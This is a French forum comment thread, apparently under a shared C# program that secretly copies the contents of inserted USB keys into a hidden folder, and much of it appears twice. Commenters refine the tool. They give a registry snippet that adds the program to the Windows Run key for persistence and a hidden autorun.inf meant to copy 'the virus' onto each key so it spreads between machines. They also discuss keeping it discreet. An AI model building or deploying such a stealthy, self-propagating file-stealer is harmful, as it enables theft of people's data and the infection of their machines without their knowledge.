pigedanslelac
Messages postés6Date d'inscriptiondimanche 20 septembre 2009StatutMembreDernière intervention10 août 2010
-
2 août 2010 à 20:20
huggo1
Messages postés3Date d'inscriptionsamedi 4 octobre 2014StatutMembreDernière intervention10 mai 2015
-
4 oct. 2014 à 19:53
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
huggo1
Messages postés3Date d'inscriptionsamedi 4 octobre 2014StatutMembreDernière intervention10 mai 2015 4 oct. 2014 à 19:53
Bonjour,
Votre script est très intéressant, j'ai récupéré une partie de votre code pour l'intégrer à mon projet(vb.net) -> la fonction "OkGo()" et la fonction "Copie".
J'aimerai rajouter la recherche par extension ("*.*", System.IO.SearchOption.AllDirectories). j'ai beau regarder dans tous les sens, je n'y arrive pas. Pouvez-vous m'aider?
Merci d'avance. Cordialement.
H3av3nsl33p
Messages postés1Date d'inscriptionvendredi 16 décembre 2011StatutMembreDernière intervention16 décembre 2011 16 déc. 2011 à 14:43
Bonjour moi j'aimerais bien savoir quel type d'interface peut lire votre programme, je veux dire par là si un micro-C pourrait le lire ou d'autres interfaces ou si seulement un PC peut le faire, dans ce cas, auriez vous un code en C pour la même action ?
Merci beaucoup
micheldemey
Messages postés2Date d'inscriptionjeudi 23 juillet 2009StatutMembreDernière intervention10 août 2010 10 août 2010 à 23:15
exact. en changeant le != par >, on évite de recopier lors de l'enlèvement. Mais on copie deux fois une clef déjà en place si on en insère une autre... Il faut garder en mémoire les clef déjà copiée et les ignorer dans le foreach.
pigedanslelac
Messages postés6Date d'inscriptiondimanche 20 septembre 2009StatutMembreDernière intervention10 août 2010 10 août 2010 à 22:37
merci .. enfin une utilité à une expression lambda
et en changeant le signe != de la ligne 76 par > et en mettant la ligne 96 en dehors du if, donc à la ligne 98 on évite de recopié lors de l'enlèvement d'une clé
D_E_R_I_C
Messages postés4Date d'inscriptionjeudi 26 juillet 2007StatutMembreDernière intervention 1 mars 2008 10 août 2010 à 09:04
Bonjour,
La ligne 48 (if (Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bobo") == null)) renvoie toujours false, donc on écrit toujours la valeur Bobo.
Je corrigerai de la façon suivante :
// ouvre l'accès en écriture à la clé de registre des programmes de démarage
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //On ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
//System.AppDomain.CurrentDomain.FriendlyName
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
//Console.WriteLine("clé de registre créée");
}
micheldemey
Messages postés2Date d'inscriptionjeudi 23 juillet 2009StatutMembreDernière intervention10 août 2010 9 août 2010 à 13:38
Bonjour,
moi je me demande s'il n'y a pas une petite erreur de logique :
Suppose qu'on insère une clef : il copie la clef sur le répertoire caché.
Ensuite, on en insère une deuxième : il va refaire une copie de la première clef...
Idem lorsqu'on enlèvera une des deux clef : il va refaire une copie.
Donc je propose de modifier cela en utilisant le numéro de série de la clef.
Je ne me souviens pas comment faire, mais il y a un code source sur ce site (utilisation d'une clef usb pour l'accès), qui pourrait servir.
On pourrait créer un répertoire avec le numéro de série que l'on modifiera plutôt que d'en refaire chaque fois un, ensuite on peut enregistrer aussi la date et l'heure de dernière mise à jour, et ne pas refaire une copie trop fréquemment.
Sujet vaste, avec de nombreuses possibilités.
Autre remarque : en ce qui concerne la discrétion, il y a pas mal de clef qui clignotent à qui mieux mieux lorsqu'on transfère des fichiers... Ca, ça ne sera pas discret...
sebmafate
Messages postés4936Date d'inscriptionlundi 17 février 2003StatutMembreDernière intervention14 février 201437 4 août 2010 à 11:03
oui, mais justement si tu fais une appli console tu ne peux pas la masquer... alors qu'un formulaire se cache (très) facilement.
pigedanslelac
Messages postés6Date d'inscriptiondimanche 20 septembre 2009StatutMembreDernière intervention10 août 2010 3 août 2010 à 23:53
Désolé mais l'évènement dont tu me parle est en Windows Form et non en Console, et ça me semble complexe à faire en Console pour un débutant.
Par contre il serait facile de créer un fichier autorun.inf avec un attribut "caché" contenant:
[autorun]
shellexecute=usbcopie.exe
useautoplay=1
Dès la découverte d'une clé USB(ligne 89), on pourrait alors copié le fichier autorun et le virus sur la clé après avoir téléchargé le contenu. L'autorun.inf sous XP ( et probablement Vista avec useautoplay=1) s'exécute lors de l'insertion de la clé. Donc le programme se propagerait d'ordinateur en clé et de clé en ordinateur...etc..etc..
sebmafate
Messages postés4936Date d'inscriptionlundi 17 février 2003StatutMembreDernière intervention14 février 201437 3 août 2010 à 10:20
Bonne idée... mais il y a plus simple !
Il existe un évènement lorsque qu'un périphérique USB est inséré. Ca t'éviterait de faire une boucle infinie qui utilise des ressources pour rien.
4 oct. 2014 à 19:53
Votre script est très intéressant, j'ai récupéré une partie de votre code pour l'intégrer à mon projet(vb.net) -> la fonction "OkGo()" et la fonction "Copie".
J'aimerai rajouter la recherche par extension ("*.*", System.IO.SearchOption.AllDirectories). j'ai beau regarder dans tous les sens, je n'y arrive pas. Pouvez-vous m'aider?
Merci d'avance. Cordialement.
16 déc. 2011 à 14:43
Merci beaucoup
10 août 2010 à 23:15
10 août 2010 à 22:37
et en changeant le signe != de la ligne 76 par > et en mettant la ligne 96 en dehors du if, donc à la ligne 98 on évite de recopié lors de l'enlèvement d'une clé
10 août 2010 à 09:04
La ligne 48 (if (Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bobo") == null)) renvoie toujours false, donc on écrit toujours la valeur Bobo.
Je corrigerai de la façon suivante :
// ouvre l'accès en écriture à la clé de registre des programmes de démarage
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //On ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
//System.AppDomain.CurrentDomain.FriendlyName
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
//Console.WriteLine("clé de registre créée");
}
9 août 2010 à 13:38
moi je me demande s'il n'y a pas une petite erreur de logique :
Suppose qu'on insère une clef : il copie la clef sur le répertoire caché.
Ensuite, on en insère une deuxième : il va refaire une copie de la première clef...
Idem lorsqu'on enlèvera une des deux clef : il va refaire une copie.
Donc je propose de modifier cela en utilisant le numéro de série de la clef.
Je ne me souviens pas comment faire, mais il y a un code source sur ce site (utilisation d'une clef usb pour l'accès), qui pourrait servir.
On pourrait créer un répertoire avec le numéro de série que l'on modifiera plutôt que d'en refaire chaque fois un, ensuite on peut enregistrer aussi la date et l'heure de dernière mise à jour, et ne pas refaire une copie trop fréquemment.
Sujet vaste, avec de nombreuses possibilités.
Autre remarque : en ce qui concerne la discrétion, il y a pas mal de clef qui clignotent à qui mieux mieux lorsqu'on transfère des fichiers... Ca, ça ne sera pas discret...
4 août 2010 à 11:03
3 août 2010 à 23:53
Par contre il serait facile de créer un fichier autorun.inf avec un attribut "caché" contenant:
[autorun]
shellexecute=usbcopie.exe
useautoplay=1
Dès la découverte d'une clé USB(ligne 89), on pourrait alors copié le fichier autorun et le virus sur la clé après avoir téléchargé le contenu. L'autorun.inf sous XP ( et probablement Vista avec useautoplay=1) s'exécute lors de l'insertion de la clé. Donc le programme se propagerait d'ordinateur en clé et de clé en ordinateur...etc..etc..
3 août 2010 à 10:20
Il existe un évènement lorsque qu'un périphérique USB est inséré. Ca t'éviterait de faire une boucle infinie qui utilise des ressources pour rien.
--> http://www.codeproject.com/KB/system/DriveDetector.aspx
2 août 2010 à 20:20